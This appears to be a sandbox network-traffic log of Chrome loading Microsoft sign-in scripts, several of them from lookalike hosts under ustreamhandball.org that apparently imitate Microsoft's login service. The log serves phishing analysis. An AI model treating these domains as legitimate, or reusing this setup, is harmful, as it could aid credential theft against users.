2025-01-09 23:21:16 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49881	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	501	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:17 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:17 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:17 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:17 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:17 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:17 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:17 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:17 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:16 GMT
2025-01-09 23:21:17 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 43 38 41 34 42 42 30 0d 0a Data Ascii: Etag: 0x8DD1AF4AC8A4BB0
2025-01-09 23:21:17 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 32 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:52 GMT
2025-01-09 23:21:17 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49880	152.199.21.175	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:17 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2357831 Cache-Control: public, max-age=31536000 Content-MD5: 4WrAdax1Tb0c+WlQgiDjDQ== Content-Type: application/x-javascript Date: Thu, 09 Jan 2025 23:21:17 GMT Etag: 0x8DD1AF4C1135834 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/78B6) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 30dff9a1-101e-0002-1f7b-4d3fdf000000 x-ms-version: 2009-09-19 Content-Length: 142534 Connection: close
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-09 23:21:17 UTC	1	IN	Data Raw: 65 Data Ascii: e
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 22 27 2c 27 22 62 6c 61 63 6b 22 27 2c 27 22 77 68 69 74 65 22 27 5d 2e 69 6e 64 65 78 4f 66 28 72 29 2c 74 68 65 6d 65 3a 6f 7d 7d 2c 67 65 74 48 69 67 68 43 6f 6e 74 72 61 73 74 54 68 65 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 52 65 67 45 78 70 28 22 5e 72 67 62 61 3f 5c 5c 28 22 2b 74 2b 22 2c 5c 5c 73 3f 22 2b 6e 2b 22 2c 5c 5c 73 3f 22 2b 72 2b 22 28 2c 5c 5c 73 3f 5c 5c 64 2b 5c 5c 2e 3f 5c 5c 64 2a 29 3f 5c 5c 29 24 22 2c 22 69 22 29 2e 74 65 73 74 28 65 2e 74 72 69 6d 28 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 Data Ascii: "','"black"','"white"'].indexOf(r),theme:o}},getHighContrastTheme:function(){function e(e,t,n){function r(e,t,n,r){return new RegExp("^rgba?\$"+t+",\\s?"+n+",\\s?"+r+"(,\\s?\\d+\\.?\\d*)?\$$","i").test(e.trim())}for(var o=0;o<t.length;o++){var i=t[o].sp
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 4e 45 4e 55 4d 42 45 52 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 35 38 30 37 22 2c 50 50 5f 45 5f 4d 4f 42 49 4c 45 43 52 45 44 53 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 35 38 30 30 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 42 4c 41 4e 4b 3a 22 38 30 30 34 31 31 30 30 22 2c 50 50 5f 45 5f 45 4d 41 49 4c 5f 49 4e 43 4f 4d 50 4c 45 54 45 3a 22 38 30 30 34 31 31 30 44 22 2c 50 50 5f 45 5f 45 4d 41 49 4c 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 42 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 Data Ascii: NENUMBER_TOOLONG:"80045807",PP_E_MOBILECREDS_PHONENUMBER_INVALID:"80045800",PP_E_NAME_BLANK:"80041100",PP_E_EMAIL_INCOMPLETE:"8004110D",PP_E_EMAIL_INVALID:"8004110B",PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 22 20 22 29 7d 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 69 3d 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2c 70 3d 7b 7d 2c 68 3d 7b 7d 3b 70 5b 63 26 26 2f 46 69 72 65 66 6f 78 5c 2f 32 2f 69 2e 74 65 73 74 28 63 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 4b 65 79 62 6f 61 72 64 45 76 65 6e 74 22 3a 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 Data Ascii: " ")}var o=Object.prototype.hasOwnProperty,i={__proto__:[]}instanceof Array,f="function"==typeof Symbol,p={},h={};p[c&&/Firefox\/2/i.test(c.userAgent)?"KeyboardEvent":"UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouse
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 47 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 6f 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 29 2c 6e 2e 61 70 70 6c 79 28 72 2c 6f 7c 7c 5b 5d 29 7d 66 69 6e 61 6c 6c 79 7b 74 28 29 7d 7d 2c 71 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 2e 71 61 28 29 7d 2c 56 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 2e 56 61 28 29 7d 2c 59 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 59 61 7d 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 Data Ascii: G:function(n,r,o){try{return e(),n.apply(r,o\|\|[])}finally{t()}},qa:function(){if(n)return n.o.qa()},Va:function(){if(n)return n.o.Va()},Ya:function(){if(n)return n.Ya},o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDe
2025-01-09 23:21:17 UTC	4	IN	Data Raw: 6c 74 3a 72 Data Ascii: lt:r
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 74 72 79 7b 76 61 72 20 6f 2c 69 3d 74 68 69 73 2e 6e 64 2c 61 3d 65 2b 28 72 26 26 72 2e 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 7c 7c 22 22 29 3b 69 66 28 21 28 6f 3d 69 5b 61 5d 29 29 7b 76 61 72 20 73 2c 75 3d 22 77 69 74 68 28 24 63 6f 6e 74 65 78 74 29 7b 77 69 74 68 28 24 64 61 74 61 7c 7c 7b 7d 29 7b 72 65 74 75 72 6e 7b 22 2b 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 Data Ascii: eturn null}},parseBindingsString:function(e,t,n,r){try{var o,i=this.nd,a=e+(r&&r.valueAccessors\|\|"");if(!(o=i[a])){var s,u="with($context){with($data\|\|{}){return{"+S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){t
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 3d 30 3c 3d 53 2e 61 2e 41 28 70 2c 53 2e 77 2e 4d 28 6e 5b 30 5d 29 29 3b 53 2e 61 2e 5a 63 28 6e 5b 30 5d 2c 72 29 2c 68 26 26 21 72 26 26 53 2e 75 2e 47 28 53 2e 61 2e 46 62 2c 6e 75 6c 6c 2c 5b 65 2c 22 63 68 61 6e 67 65 22 5d 29 7d 7d 76 61 72 20 73 3d 65 2e 6d 75 6c 74 69 70 6c 65 2c 75 3d 30 21 3d 65 2e 6c 65 6e 67 74 68 26 26 73 3f 65 2e 73 63 72 6f 6c 6c 54 6f 70 3a 6e 75 6c 6c 2c 63 3d 53 2e 61 2e 66 28 74 28 29 29 2c 6c 3d 6e 2e 67 65 74 28 22 76 61 6c 75 65 41 6c 6c 6f 77 55 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 Data Ascii: =0<=S.a.A(p,S.w.M(n[0]));S.a.Zc(n[0],r),h&&!r&&S.u.G(S.a.Fb,null,[e,"change"])}}var s=e.multiple,u=0!=e.length&&s?e.scrollTop:null,c=S.a.f(t()),l=n.get("valueAllowUnset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(
2025-01-09 23:21:17 UTC	16383	IN	Data Raw: 2c 6e 2c 72 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c 75 2c 72 3d 72 7c 7c 7b 7d 2c 32 3e 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 69 73 20 74 6f 6f 20 6f 6c 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 31 2e 30 2e 30 70 72 65 20 6f 72 20 6c 61 74 65 72 2e 22 29 3b 76 61 72 20 69 3d 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 Data Ascii: ,n,r,o){if(o=o\|\|u,r=r\|\|{},2>e)throw Error("Your version of jQuery.tmpl is too old. Please upgrade to jQuery.tmpl 1.0.0pre or later.");var i=t.data("precompiled");return i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_wit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49888	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:17 UTC	520	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:18 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:18 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:18 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:18 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:18 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:18 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:18 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:18 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:17 GMT
2025-01-09 23:21:18 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 44 41 31 44 39 39 37 43 41 32 34 35 0d 0a Data Ascii: Etag: 0x8D8DA1D997CA245
2025-01-09 23:21:18 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 32 36 20 46 65 62 20 32 30 32 31 20 30 36 3a 31 33 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
2025-01-09 23:21:18 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49890	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:18 UTC	649	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:18 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:18 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:18 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:18 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:18 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:18 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:18 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:18 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 38 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:18 GMT
2025-01-09 23:21:18 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 36 43 42 31 44 36 37 42 39 32 39 0d 0a Data Ascii: Etag: 0x8D876CB1D67B929
2025-01-09 23:21:18 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 32 20 4f 63 74 20 32 30 32 30 20 32 30 3a 34 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2025-01-09 23:21:18 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49889	152.199.21.175	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:18 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:18 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2357832 Cache-Control: public, max-age=31536000 Content-MD5: 4WrAdax1Tb0c+WlQgiDjDQ== Content-Type: application/x-javascript Date: Thu, 09 Jan 2025 23:21:18 GMT Etag: 0x8DD1AF4C1135834 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/78B6) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 30dff9a1-101e-0002-1f7b-4d3fdf000000 